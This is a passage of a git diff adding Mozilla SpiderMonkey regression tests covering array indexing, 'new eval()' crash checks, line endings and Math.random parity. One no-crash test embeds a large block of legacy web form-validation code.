+ * Now some tests involving arrays
+ */
+var x=[];
+
+status = inSection(6); // get element case
+c = 0;
+if (x[1==2]) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(7); // set element case
+c = 0;
+if (x[1==2]=1) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(8); // delete element case
+c = 0;
+if (delete x[1==2]) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-204210.js b/js/src/tests/non262/regress/regress-204210.js
new file mode 100644
index 0000000000..0c079abaac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-204210.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: eval() is not a constructor, but don't crash on |new eval();|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204210
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204210;
+var summary = "eval() is not a constructor, but don't crash on |new eval();|";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Just testing that we don't crash on any of these constructs -
+ */
+
+
+/*
+ * global scope -
+ */
+try
+{
+ var x = new eval();
+ new eval();
+}
+catch(e)
+{
+}
+
+
+/*
+ * function scope -
+ */
+f();
+function f()
+{
+ try
+ {
+ var x = new eval();
+ new eval();
+ }
+ catch(e)
+ {
+ }
+}
+
+
+/*
+ * eval scope -
+ */
+var s = '';
+s += 'try';
+s += '{';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += '}';
+eval(s);
+
+
+/*
+ * some combinations of scope -
+ */
+s = '';
+s += 'function g()';
+s += '{';
+s += ' try';
+s += ' {';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += ' }';
+s += ' catch(e)';
+s += ' {';
+s += ' }';
+s += '}';
+s += 'g();';
+eval(s);
+
+
+function h()
+{
+ var s = '';
+ s += 'function f()';
+ s += '{';
+ s += ' try';
+ s += ' {';
+ s += ' var x = new eval();';
+ s += ' new eval();';
+ s += ' }';
+ s += ' catch(e)';
+ s += ' {';
+ s += ' }';
+ s += '}';
+ s += 'f();';
+ eval(s);
+}
+h();
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-210682.js b/js/src/tests/non262/regress/regress-210682.js
new file mode 100644
index 0000000000..ea531d63d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-210682.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 02 July 2003
+ * SUMMARY: testing line ending with |continue| and only terminated by a CR
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=210682
+ *
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 210682;
+var summary = 'testing line ending with |continue| and only terminated by CR';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+for (i=0; i<100; i++)
+{
+ if (i%2 == 0) continue
+ this.lasti = i;
+}
+
+status = inSection(1);
+actual = lasti;
+expect = 99;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-211590.js b/js/src/tests/non262/regress/regress-211590.js
new file mode 100644
index 0000000000..a31bd3bfe4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-211590.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 211590;
+var summary = 'Math.random should be random';
+var actual = '';
+var expect = 'between 47.5% and 52.5%';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r = Math.random;
+var c = Math.pow( 2, 53 );
+
+var n = 10000;
+var odd1 = 0;
+var odd2 = 0;
+
+for ( var i = 0; i < n; ++i )
+{
+ var v= r() * c;
+ if ( v & 1 )
+ ++odd1;
+ if ( v - c + c & 1 )
+ ++odd2;
+}
+
+odd1 *= 100 / n;
+odd2 *= 100 / n;
+
+if (odd1 >= 47.5 && odd1 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd1.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
+
+if (odd2 >= 47.5 && odd2 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd2.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-214761.js b/js/src/tests/non262/regress/regress-214761.js
new file mode 100644
index 0000000000..e06f9647db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-214761.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 214761;
+var summary = 'Crash Regression from bug 208030';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var code = "var bar1=new Array();\n" +
+ "bar1[0]='foo';\n" +
+ "var bar2=document.all&&navigator.userAgent.indexOf('Opera')==-1;\n" +
+ "var bar3=document.getElementById&&!document.all;\n" +
+ "var bar4=document.layers;\n" +
+ "function foo1(){\n" +
+ "return false;}\n" +
+ "function foo2(){\n" +
+ "return false;}\n" +
+ "function foo3(){\n" +
+ "return false;}\n" +
+ "function foo4(){\n" +
+ "return false;}\n" +
+ "function foo5(){\n" +
+ "return false;}\n" +
+ "function foo6(){\n" +
+ "return false;}\n" +
+ "function foo7(){\n" +
+ "return false;}";
+
+try
+{
+ eval(code);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-216320.js b/js/src/tests/non262/regress/regress-216320.js
new file mode 100644
index 0000000000..01fcea0f06
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-216320.js
@@ -0,0 +1,1006 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 September 2003
+ * SUMMARY: Just seeing we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216320
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 216320;
+var summary = "Just seeing we don't crash on this code";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/* TESTCASE BEGINS HERE */
+status=0;
+ism='NO';
+scf='N';
+
+function vol(){
+ if(navigator.appName!="Netscape"){ if(!window.navigator.onLine){ alert(pbc0430); return false; } }
+ return true; }
+
+function vnid(formfield){
+ nid=formfield.value;
+ if(!nid.match(/^\s*$/)){
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }}}
+
+function vnull(formfield){
+ text=formfield.value;
+ if(text.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vdt(formfield){
+ date=formfield.value;
+//MM/DD/YYYY
+//YYYY/MM/DD
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)) {return true; }
+
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vkdt(formfield){
+ date=formfield.value;
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function ddif(month1,day1,year1,month2,day2,year2){
+ start = new Date();
+ start.setYear(year1);
+ start.setMonth(month1-1);
+ start.setDate(day1);
+ start.setMinutes(0);
+ start.setHours(0);
+ start.setSeconds(0);
+ end = new Date();
+ end.setYear(year2);
+ end.setMonth(month2-1);
+ end.setDate(day2);
+ end.setMinutes(0);
+ end.setHours(0);
+ end.setSeconds(0);
+ current =(end.getTime() - start.getTime());
+ days = Math.floor(current /(1000 * 60 * 60 * 24));
+ return(days);
+}
+
+function vsub(form,status,ism,action){
+ if(!vol()){ return false; }
+ if(status<9||status==12){
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ }
+
+ if((status>=0&&status<5)||(status==7)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.PT)) { return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000)year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)){ return false; }
+ if(!vnull(form.END)){ return false; }
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+
+ if ((syr!=eyr)){
+ alert(pbc0406);
+ form.STD.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0402);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ }
+ if(ism=='YES'&&(status==5||status==6||status==12)){
+ if(ddif(month,date,year,emon,edy,eyr)>31){
+ alert(pbc0421);
+ form.END.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status==7)||((status>=5&&status<9||status==12)&&ism=="YES")){
+ if(status!=5){
+ if(!vdt(form.IRD1)){
+ return false;
+ }
+ if(!vdt(form.IRD2)){
+ return false;
+ }
+ if(!vdt(form.IRD3)){
+ return false;
+ }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){ return false;}
+ }
+ if(status==5){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){return false;}
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vkdt(form.FRD1)){
+ return false;
+ }
+ }
+ }
+ }
+ if((status>=0&&status<2)||(status==3)||(status==7)||(status>=2&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WO)){
+ return false;
+ }
+ if(!vnull(form.EO)){
+ return false;
+ }
+ if(!vnull(form.TO)){
+ return false;
+ }
+ }
+ if((status==2||status==4)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WR)){return false;}
+ if(!vnull(form.ER)){return false;}
+ if(!vnull(form.TR)){return false;}
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ if(!vkdt(form.FRD1)){return false;}
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(fryr<syr||(fryr==syr&&frmn<smon)||(fryr==syr&&frmn==smon&&frdy<=sdy)){
+ alert(pbc0410);
+ form.FRD1.focus();
+ return false;
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){ isnh=form.INH[i].value; }
+ }
+ if(isnh==""){
+ alert(pbc0424);
+ form.INH[1].focus();
+ return false;
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length; i++){
+ if(form.NHB[i].checked==true){ beh=form.NHB[i].value; }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length; i++){
+ if(form.NHS[i].checked==true){ skl=form.NHS[i].value; }
+ }
+ if(beh==""){
+ alert(pbc0408);
+ form.NHB[0].focus();
+ return false;
+ }
+ if(skl==""){
+ alert(pbc0426);
+ form.NHS[0].focus();
+ return false;
+ }
+ if((beh=="N"||skl=="N")&&status!=12){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }}}}}
+ rating="";
+ if(status!=12){ for(i=0; i<form.RCD.length; i++){ if(form.RCD[i].checked==true)rating=form.RCD[i].value; } }
+ else if(status==12){ rating="4"; }
+ if(rating==""){
+ alert(pbc0428);
+ form.RCD[0].focus();
+ return false;
+ }
+ if(rating=="4"){
+ if(!vkdt(form.SID)){ return false; }
+ idt=form.SID.value;
+ iyr=idt.substring(0,4);
+ imon=idt.substring(5,7);
+ idy=idt.substring(8,10);
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(iyr<eyr||(iyr==eyr&&imon<emon)||(iyr==eyr&&imon==emon&&idy<=edy)){
+ alert(pbc0415);
+ form.SID.focus();
+ return false;
+ }
+ if(iyr<fryr||(iyr==fryr&&imon<frmn)||(iyr==fryr&&imon==frmn&&idy<=frdy)){
+ alert(pbc0427);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)<30){
+ alert(pbc0416);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)>90){
+ if(!confirm(pbc0439+" "+pbc0442)){
+ form.SID.focus();
+ return false;
+ }}} else {
+// MK/06-20-01 = If Rating Not equals to 4 blank out the sustained improve Date
+ form.SID.value="";
+ }
+ if(!vnull(form.OAT)){ return false; }
+ if(form.MSRQ.checked==true){
+ if(form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SIGN_MGR_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0422);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.RSRQ.checked==true) ) {
+ alert(pbc0429);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ }
+ if(form.RSRQ.checked==true){
+ if(form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SEC_LINE_REV_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)) {
+ alert(pbc0423);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.MSRQ.checked==true) ) {
+ alert(pbc0431);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }}}
+ if(status!=9){
+/**for returned objectives **/
+ if(status==3){
+ if(conf(pbc0466) == false) return false;
+ }
+
+ if(ism=='NO'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0456) == false) return false;
+ }
+
+ if(status==2||status==4||status==8){
+ if(conf(pbc0457) == false) return false;
+ }
+ } else if(ism=='YES'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0458) == false)return false;
+ }
+ if(status==2||status==4||status==8){
+ if(conf(pbc0459) == false)return false;
+ }
+ if(status==5||status==6){
+ if(form.ESRQ.checked==false){
+ if(conf(pbc0460) == false)return false;
+ } else {
+ if(conf(pbc0461) == false)return false;
+ }}}}
+ if(status==9){
+ if(ism=='NO'){
+ if(conf(pbc0462) == false)return false;
+ } else if(ism=='YES'){
+ if(conf(pbc0463) == false)return false;
+ } else if(ism=='REVIEWER'){
+ if(conf(pbc0464) == false)return false;
+ }}
+ sact(action);
+ if(status>=9&&status<=11){ snul(); }
+ form.submit();
+ return true;
+}
+
+function vsav(form,status,ism,action) {
+ if(!vol()){ return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000) year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)) return false;
+ if(!vnull(form.END)) return false;
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+ if ((syr<year-1) || (syr>year)) {
+ alert(pbc0407);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0403);
+ form.STD.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){ return false; }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){return false;}
+ if(ism=="YES"){
+ if(!vdt(form.FRD1)){return false;}
+ }
+ }
+ if((status==5||status==6)&&ism=="YES"){
+ rating="";
+ for(i=0;i<form.RCD.length;i++){
+ if(form.RCD[i].checked==true)rating=form.RCD[i].value;
+ }
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){
+ isnh=form.INH[i].value;
+ }
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length;i++){
+ if(form.NHB[i].checked==true){
+ beh=form.NHB[i].value;
+ }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length;i++){
+ if(form.NHS[i].checked==true){
+ skl=form.NHS[i].value;
+ }
+ }
+ if((beh=="N"||skl=="N")&&rating!=""){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }
+ }
+ }
+ if(!vdt(form.SID)){ return false;}
+ }
+ }
+ if((status==2||status==4 || status==8 || status==5 || status==6 || status==10)&&ism=='YES')
+ {
+ if(!confirm(pbc0436)){ return false;}
+ if(form.OBJECTIVE_CHANGED.value=='Y') {
+ if(confirm(pbc0452+" "+pbc0453+" "+pbc0454)){form.MRQ.value=4; } else { form.MRQ.value=0; }
+ }else if (( status==5 || status==6 || status==10) && (form.RESULTS_CHANGED.value=='Y')) {
+ if(confirm(pbc0470+" "+pbc0453+" "+pbc0454)){form.MRQ.value=8; } else { form.MRQ.value=0; }
+ }
+ }
+ sact(action);
+ if(status>=9&&status<=11){
+ snul();
+ }
+ form.submit();
+ return true;
+}
+function cft(formfield){
+ nid=formfield.value;
+ if(nid.match(/^\s*$/)){
+ alert(pbc0419);
+ formfield.focus();
+ return false;
+ }
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+function dcf(form,pbcId,cnum,sequence,status,atyp,ver){
+ if(!vol()){}
+ dflg=confirm("\n\n<====================== " + pbc0468 + " ======================>\n\n" + pbc0469 + "\n\n<==================================================================>");
+ if(dflg==true) {
+ form.ATYP.value=atyp;
+ form.PID.value=pbcId;
+ form.CNUM.value=cnum;
+ form.SEQ.value=sequence;
+ form.ST.value=status;
+ form.VER.value=ver;
+ form.submit();
+ }
+
+}
+
+
+
+function lop(){
+//if(confirm(pbc0447+" "+pbc0451)){
+ sck("timer","");
+ sck("PBC_AUTH4","");
+ sck("IBM004","");
+ this.close();
+//}
+
+}
+
+function csrlop(){
+ top.location="logoff.jsp";
+}
+function lof(){
+ csr=gck("IBM004");
+ if(csr==null){ top.location="logoff.jsp"; }
+ else if(csr.charAt(0)==3){ window.location="csrlogoff.jsp"; }
+ else{ top.location="logoff.jsp"; }
+}
+
+function goToHome(){
+ top.location="pbcmain.jsp";
+}
+
+function docsr(){
+ sck("IBM004","1^NONE^1");
+ window.location="pbcmain.jsp"
+ }
+
+function ccd(){
+ if(confirm(pbc0434)){
+ if(navigator.appName!="Netscape"){
+ if(!window.navigator.onLine){
+ window.close();
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+}
+
+function crt(form,action){
+ if(!vol()){return false;}
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ if(!confirm(pbc0450)){return false;}
+ sact(action);
+ form.submit();
+ return true;
+}
+function cusat(form,action){
+ if(!vol()){return false;}
+ sact(action);
+ form.action="unsatreq.jsp";
+ form.submit();
+ return true;
+}
+function cfrt(form,ism,action){
+ if(!vol()){return false;}
+ sact(action);
+ if(ism=="NO"){
+ if(confirm(pbc0449+" "+pbc0432)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="REVIEWER"){
+ if(confirm(pbc0449+" "+pbc0448)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="YES"){
+ if(confirm(pbc0440)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+}
+
+function cces(form){
+ if(form.ESRQ.checked==true){
+ if(!confirm(pbc0435+" "+pbc0443))form.ESRQ.checked=false;
+ else {form.ESRQ.checked=true;}
+ }
+}
+
+function ccms(form){
+ if(form.MSRQ.checked==true){
+ if(!confirm(pbc0441+" "+pbc0438+" "+pbc0444+" "+pbc0445))form.MSRQ.checked=false;
+ else {
+ form.MSRQ.checked=true;
+ }
+ }
+}
+
+function ccrs(form){
+ if(form.RSRQ.checked==true){
+ if(!confirm(pbc0441+" "+pbc0438+" "+pbc0444+" "+pbc0446))form.RSRQ.checked=false;
+ else {
+ form.RSRQ.checked=true;
+ }
+ }
+}
+
+function seo(){
+ alert(pbc0412+" "+pbc0413+" "+pbc0414);
+}
+function cows(form,action){
+ if(!vol()){
+ return false;
+ }
+ if(confirm(pbc0437)){
+ sact(action);
+ form.submit();
+ return true;
+ }
+}
+
+function srdb(rdb,value) {
